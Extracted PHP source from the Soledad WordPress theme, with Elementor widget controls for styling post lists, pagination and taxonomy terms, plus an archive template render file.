					'penci_style' => array(
						'mixed',
						'standard-grid',
						'standard-grid-2',
						'standard-list',
						'standard-boxed-1',
						'classic-grid',
						'classic-grid-2',
						'classic-list'
					)
				),
			)
		);

		// Category
		$this->add_control(
			'heading_cat_style', array(
				'label'     => __( 'Post Category', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'pcat_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .cat > a.penci-cat-name'                                                                        => 'color: {{VALUE}};',
					'{{WRAPPER}} .cat > a.penci-cat-name:after, {{WRAPPER}} .overlay-header-box .cat > a.penci-cat-name:after'   => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-grid .cat a.penci-cat-name:after,{{WRAPPER}} .penci-masonry .cat a.penci-cat-name:after' => 'border-color: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'pcat_hcolor', array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'bpcat_color', array(
				'label'     => __( 'Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name'                                                                                            => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-featured-infor .cat > a.penci-cat-name:after, {{WRAPPER}} .grid-overlay .overlay-header-box .cat > a.penci-cat-name:after' => 'border-color: {{VALUE}};',
				),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);
		$this->add_control(
			'bpcat_hcolor', array(
				'label'     => __( 'Hover Color for Big Post', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-overlay .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $color_big_post ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pcat_typo',
				'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
			)
		);
		$this->add_responsive_control(
			'bpcat_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .cat > a.penci-cat-name'                        => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .cat > a.penci-cat-name'  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .cat > a.penci-cat-name'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .cat > a.penci-cat-name' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .cat > a.penci-cat-name'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .cat > a.penci-cat-name'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .cat > a.penci-cat-name'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .cat > a.penci-cat-name'               => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .penci-featured-infor .cat > a.penci-cat-name'            => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);

		// Read more button
		$this->add_control(
			'heading_readmore_style',
			array(
				'label'     => __( 'Continue Reading/Read More Button', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'readmore_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmore_text_hcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmorebt_text_color',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmorebt_text_hcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn a:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmore_bg_color',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'readmore_bg_hcolor',
			array(
				'label'     => __( 'Background Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-readmore-btn.penci-btn-make-button a:hover' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Continue Reading Typography', 'soledad' ),
				'name'     => 'readmore_text_typo',
				'selector' => '{{WRAPPER}} .penci-more-link a.more-link',
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'label'    => __( 'Read More Button Typography', 'soledad' ),
				'name'     => 'readmorebtn_text_typo',
				'selector' => '{{WRAPPER}} .penci-readmore-btn a',
			)
		);
		$this->add_control(
			'readmore_line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-more-link a.more-link:before,{{WRAPPER}} .penci-more-link a.more-link:after' => 'border-color: {{VALUE}};' ),
			)
		);

		// Social Share
		$this->add_control(
			'heading_socialshare_style',
			array(
				'label'     => __( 'Social Share', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);
		$this->add_control(
			'socialshare_color',
			array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a, {{WRAPPER}} .penci-featured-share-box a' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'socialshare_hcolor',
			array(
				'label'     => __( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a:hover, {{WRAPPER}} .penci-featured-share-box a:hover' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'socialshare_bgcolor',
			array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-featured-share-box .penci-shareic, {{WRAPPER}} .penci-featured-share-box .penci-shareso' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);
		$this->add_control(
			'socialshare_line_color',
			array(
				'label'     => __( 'Line Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .penci-post-box-meta.penci-post-box-grid:before' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'socialshare_typo',
				'selector' => '{{WRAPPER}} .penci-post-box-meta .penci-post-share-box a',
			)
		);
		$this->add_responsive_control(
			'bsocialshare_size', array(
				'label'     => __( 'Font size for Big Post', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-latest-posts-mixed-2 .item.overlay-layout .penci-post-box-meta .penci-post-share-box a'             => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed .grid-mixed .penci-post-box-meta .penci-post-share-box a'                        => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-list article.format-standard .penci-post-box-meta .penci-post-share-box a'    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-standard-boxed-1 article.format-standard .penci-post-box-meta .penci-post-share-box a' => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-grid-2 article.format-standard .penci-post-box-meta .penci-post-share-box a'   => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-classic-list article.format-standard .penci-post-box-meta .penci-post-share-box a'     => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-grid-2 .grid-overlay .penci-post-share-box a'                                  => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-list .grid-overlay .penci-post-share-box a'                                    => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-overlay-boxed-1 .grid-overlay .penci-post-share-box a'                                 => 'font-size: {{SIZE}}px !important',
					'{{WRAPPER}} .penci-latest-posts-mixed-4 .grid-featured .penci-post-share-box a'                                        => 'font-size: {{SIZE}}px !important',
				),
				'condition' => array( 'penci_style' => $style_big_post ),
			)
		);

		// Social Share
		$this->add_control(
			'heading_extra_style',
			array(
				'label'     => __( 'Extra Options', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);

		$this->add_control(
			'borders_color_sfeatured',
			array(
				'label'     => __( 'Borders Color for Featured Boxed Style', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-featured' => 'border-color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);

		$this->add_control(
			'bg_color_sfeatured',
			array(
				'label'     => __( 'Background Color for Featured Boxed Style', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .grid-featured' => 'background-color: {{VALUE}};' ),
				'condition' => array( 'penci_style' => $style_extra_post ),
			)
		);

		$this->end_controls_section();

		// Pagination
		$this->start_controls_section(
			'section_pagination_style', array(
				'label' => __( 'Pagination', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'pagination_typography',
				'selector' => '{{WRAPPER}} .penci-pagination ul.page-numbers li a i, {{WRAPPER}} .penci-pagination ul.page-numbers li span,{{WRAPPER}} .penci-pagination ul.page-numbers li a, {{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button'
			)
		);
		$this->add_responsive_control(
			'pagination_icon', array(
				'label'     => __( 'Font size for Load More Icon', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
				'selectors' => array( '{{WRAPPER}} .penci-pagination a.penci-ajax-more-button i, {{WRAPPER}}  .penci-pagination .disable-url i' => 'font-size: {{SIZE}}px' ),
				'condition' => array( 'penci_paging' => array( 'loadmore', 'scroll' ) ),
			)
		);
		$this->add_control(
			'pagination_color_heading', array(
				'label'     => __( 'Colors', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before'
			)
		);

		$this->start_controls_tabs( 'pagination_colors' );

		$this->start_controls_tab(
			'pagination_color_normal', array(
				'label' => __( 'Normal', 'soledad' )
			)
		);

		$this->add_control(
			'pagination_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'color: {{VALUE}};'
				)
			)
		);
		$this->add_control(
			'pagination_bordercolor', array(
				'label'     => __( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'border-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'border-color: {{VALUE}};'
				)
			)
		);
		$this->add_control(
			'pagination_bgcolor', array(
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span,'                 => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a'                     => 'background-color: {{VALUE}};',
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'background-color: {{VALUE}};'
				)
			)
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'pagination_color_hover', array(
				'label' => __( 'Hover', 'soledad' )
			)
		);

		$this->add_control(
			'pagination_hover_color', array(
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'color: {{VALUE}}'
				)
			)
		);
		$this->add_control(
			'pagination_hbordercolor', array(
				'label'     => __( 'Hover Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}}  .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                      => 'border-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                 => 'border-color: {{VALUE}}'
				)
			)
		);
		$this->add_control(
			'pagination_hbgcolor', array(
				'label'     => __( 'Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover' => 'background-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'                     => 'background-color: {{VALUE}}',
					'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current'                => 'background-color: {{VALUE}}'
				)
			)
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->add_responsive_control(
			'pagination_spacing', array(
				'label'     => __( 'Space Between', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'separator' => 'before',
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 100 ) ),
				'selectors' => array(
					'{{WRAPPER}} .penci-pagination' => 'margin-top: {{SIZE}}{{UNIT}}'
				)
			)
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {
		$settings = $this->get_settings();

		$query_data_check = penci_elementor_is_edit_mode() ? 'post' : 'current_query';

		if ( penci_elementor_is_edit_mode() ) {
			$query_data = [
				'posts_post_type' => 'post',
			];
		} else {
			$query_data = [
				'posts_post_type' => 'current_query',
			];
		}

		$query_args = Query_Control::get_query_args( 'posts', array_merge( $settings, $query_data ) );

		if ( $settings['aposts_per_page'] ) {
			$query_args['posts_per_page'] = $settings['aposts_per_page'];
		}

		$ads_code = '';
		if ( $settings['infeedads_code'] ) {
			$ads_code = base64_encode( rawurlencode( $settings['infeedads_code'] ) );
		}
		$order_columns        = isset( $settings['order_columns'] ) ? $settings['order_columns'] : '';
		$order_columns_tablet = isset( $settings['order_columns_tablet'] ) ? $settings['order_columns_tablet'] : $order_columns;
		$order_columns_mobile = isset( $settings['order_columns_mobile'] ) ? $settings['order_columns_mobile'] : $order_columns;

		echo \Soledad_VC_Shortcodes::latest_posts( array(
			'heading'             => $settings['heading'],
			'hide_block_heading'  => $settings['hide_block_heading'],
			'heading_title_style' => $settings['heading_title_style'],
			'heading_title_link'  => $settings['heading_title_link'],
			'heading_title_align' => $settings['block_title_align'],
			'heading_icon_pos'    => $settings['heading_icon_pos'],
			'heading_icon'        => $settings['heading_icon'],
			'style'               => $settings['penci_style'],
			'paging'              => $settings['penci_paging'],
			'penci_mixed_style'   => $settings['penci_mixed_style'],
			'morenum'             => $settings['morenum'],

			'standard_meta_overlay'   => $settings['standard_meta_overlay'],
			'standard_thumbnail'      => $settings['standard_thumbnail'],
			'std_dis_at_gallery'      => $settings['std_dis_at_gallery'],
			'standard_thumb_crop'     => $settings['standard_thumb_crop'],
			'standard_share_box'      => $settings['standard_share_box'],
			'standard_cat'            => $settings['standard_cat'],
			'standard_author'         => $settings['standard_author'],
			'standard_date'           => $settings['standard_date'],
			'standard_comment'        => $settings['standard_comment'],
			'standard_viewscount'     => $settings['standard_viewscount'],
			'standard_readtime'       => $settings['standard_readtime'],
			'standard_remove_line'    => $settings['standard_remove_line'],
			'standard_auto_excerpt'   => $settings['standard_auto_excerpt'],
			'standard_remove_excerpt' => $settings['standard_remove_excerpt'],
			'standard_effect_button'  => $settings['standard_effect_button'],
			'std_continue_btn'        => $settings['std_continue_btn'],
			'grid_icon_format'        => $settings['grid_icon_format'],
			'grid_meta_overlay'       => $settings['grid_meta_overlay'],
			'grid_nocrop_list'        => $settings['grid_nocrop_list'],
			'grid_share_box'          => $settings['grid_share_box'],
			'grid_cat'                => $settings['grid_cat'],
			'grid_author'             => $settings['grid_author'],
			'grid_date'               => $settings['grid_date'],
			'grid_comment'            => $settings['grid_comment'],
			'grid_comment_other'      => $settings['grid_comment_other'],
			'grid_viewscount'         => $settings['grid_viewscount'],
			'grid_readtime'           => $settings['grid_readtime'],
			'grid_remove_line'        => $settings['grid_remove_line'],
			'grid_remove_excerpt'     => $settings['grid_remove_excerpt'],
			'grid_add_readmore'       => $settings['grid_add_readmore'],
			'grid_remove_arrow'       => $settings['grid_remove_arrow'],
			'grid_readmore_button'    => $settings['grid_readmore_button'],
			'grid_readmore_align'     => $settings['grid_readmore_align'],
			'grid_excerpt_length'     => $settings['grid_excerpt_length'],
			'standard_excerpt_length' => $settings['standard_excerpt_length'],
			'post_alignment'          => $settings['post_alignment'],
			'std_continue_align'      => $settings['std_continue_align'],
			'std_excerpt_align'       => $settings['std_excerpt_align'],
			'share_alignment'         => $settings['share_alignment'],
			'grid_excerpt_align'      => $settings['grid_excerpt_align'],
			'standard_title_length'   => $settings['standard_title_length'],
			'grid_title_length'       => $settings['grid_title_length'],
			'penci_featimg_size'      => $settings['penci_featimg_size'],
			'penci_featimg_ratio'     => $settings['penci_featimg_ratio'],
			'thumb_size'              => $settings['thumb_size'],
			'thumb_bigsize'           => $settings['thumb_bigsize'],
			'order_columns'           => $order_columns,
			'order_columns_tablet'    => $order_columns_tablet,
			'order_columns_mobile'    => $order_columns_mobile,
			'infeed_num'              => $settings['infeedads_num'],
			'infeed_code'             => $ads_code,
			'infeed_layout'           => $settings['infeedads_layout'],

			'archive_buider_check' => $query_data_check,
			'elementor_query'      => $query_args
		) );
	}
}
PK     N\|    0  inc/template-builder/archive-elements/render.phpnu [        <?php
add_filter( 'body_class', function ( $class ) {
	$class[] = 'pccustom-template-enable';

	return $class;
} );
get_header(); ?>
<div class="container-archive-page">
    <div id="main" class="penci-custom-archive-template">
		<?php
		$post_id = penci_should_render_archive_template();
		if ( $post_id ) {

			if ( class_exists( '\Elementor\Plugin' ) && did_action( 'elementor/loaded' ) && \Elementor\Plugin::$instance->documents->get( $post_id )->is_built_with_elementor() ) {

				echo penci_get_elementor_content( $post_id );

			} else {
				$builder_content = get_post( $post_id );
				echo '<div class="js-composer-content">';
				echo do_shortcode( $builder_content->post_content );

				$shortcodes_custom_css = get_post_meta( $post_id, '_wpb_shortcodes_custom_css', true );

				echo '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					echo $shortcodes_custom_css;
				}
				echo '</style>';
				echo '</div>';
			}
		}
		?>
    </div>
</div>
<?php get_footer(); ?>
PK     N\:>d7  7  2  inc/template-builder/archive-elements/taxonomy.phpnu [        <?php

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Widget_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciArchiveTaxonomy extends Widget_Base {

	public function get_title() {
		return esc_html__( 'Archive - Taxonomies', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-text';
	}

	public function get_categories() {
		return array( 'penci-custom-archive-builder' );
	}

	public function get_keywords() {
		return array( 'archive', 'taxonomies' );
	}

	protected function get_html_wrapper_class() {
		return 'pcab-txnm elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-archive-taxonomies';
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'tax_showall',
			array(
				'label'   => esc_html__( 'Term Listing', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'default' => 'all',
				'options' => array(
					'all'    => 'All Items',
					'child'  => 'Child Items',
					'custom' => 'Custom Items',
				),
			)
		);

		$this->add_control(
			'taxonomies',
			array(
				'label'       => esc_html__( 'Select the Post Taxonomies Term.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => get_object_taxonomies( 'post' ),
				'multiple'    => true,
				'label_block' => true,
				'condition'   => array(
					'tax_showall' => 'custom',
				),
			)
		);

		$this->add_control(
			'taxonomies_ex',
			array(
				'label'       => esc_html__( 'Select the Excluded Post Taxonomies Term.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => get_object_taxonomies( 'post' ),
				'multiple'    => true,
				'label_block' => true,
			)
		);

		$this->add_control(
			'term_style',
			array(
				'label'   => 'Display Style',
				'type'    => Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => 'Style 1',
					's2' => 'Style 2',
					's3' => 'Style 3',
					's4' => 'Style 4',
				),
			)
		);

		$this->add_control(
			'term_align',
			array(
				'label'       => 'Align',
				'default'     => 'left',
				'type'        => Controls_Manager::CHOOSE,
				'label_block' => false,
				'options'     => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors'   => array(
					'{{WRAPPER}} .pctmp-term-list' => 'text-align: {{VALUE}};',
				),
				'render_type' => 'template',
			)
		);

		$this->add_control(
			'orderby',
			array(
				'label'     => esc_html__( 'Order By', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'name',
				'options'   => array(
					'name'       => 'Name',
					'slug'       => 'Slug',
					'term_id'    => 'ID',
					'term_order' => 'Term Order',
					'count'      => 'Term Count',
					'rand'       => 'Random',
				),
				'condition' => array(
					'tax_showall!' => 'custom',
				),
			)
		);

		$this->add_control(
			'order',
			array(
				'label'     => esc_html__( 'Order', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'ASC',
				'options'   => array(
					'DESC' => 'DESC',
					'ASC'  => 'ASC',
				),
				'condition' => array(
					'tax_showall!' => 'custom',
				),
			)
		);

		$this->add_control(
			'number',
			array(
				'label'       => esc_html__( 'Limit Terms to Show', 'soledad' ),
				'description' => esc_html__( 'This option is visible on frontend only.', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'condition'   => array(
					'tax_showall!' => 'custom',
				),
			)
		);

		$this->add_control(
			'tax_currentitem',
			array(
				'label' => esc_html__( 'Activate Current Viewing Term?', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->add_control(
			'tax_showcount',
			array(
				'label' => esc_html__( 'Show Posts Count', 'soledad' ),
				'type'  => Controls_Manager::SWITCHER,
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'color_style',
			array(
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_responsive_control(
			'term_spacing',
			array(
				'label'     => 'Horizontal Space Between Items',
				'type'      => Controls_Manager::SLIDER,
				'selectors' => array(
					'{{WRAPPER}} .pctmp-term-list.pctaxleft li:not(:last-child)'   => 'margin-right:{{SIZE}}px',
					'{{WRAPPER}} .pctmp-term-list.pctaxright li:not(:first-child)' => 'margin-left:{{SIZE}}px',
					'{{WRAPPER}} .pctmp-term-list.pctaxcenter li'                  => 'margin-left:calc({{SIZE}}px/2);margin-right:calc({{SIZE}}px/2)',
					'{{WRAPPER}} .pctmp-term-list li .pctmp-term-item'             => 'margin-right:0;margin-left:0;--pctmp-term-list:{{SIZE}}px',
				),
			)
		);

		$this->add_responsive_control(
			'term_vspacing',
			array(
				'label'     => 'Vertical Space Between Items',
				'type'      => Controls_Manager::SLIDER,
				'selectors' => array(
					'{{WRAPPER}} .pctmp-term-list li .pctmp-term-item' => 'margin-bottom:{{SIZE}}px;',
				),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'term_typo',
				'label'    => __( 'Typography for Term', 'soledad' ),
				'selector' => '{{WRAPPER}} .pctmp-term-item',
			)
		);

		$this->add_control(
			'term_color',
			array(
				'label'     => 'Term Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_hcolor',
			array(
				'label'     => 'Term Hover & Active Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover,{{WRAPPER}} a.pctmp-term-item.current-item' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bgcolor',
			array(
				'label'     => 'Term Background Color',
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
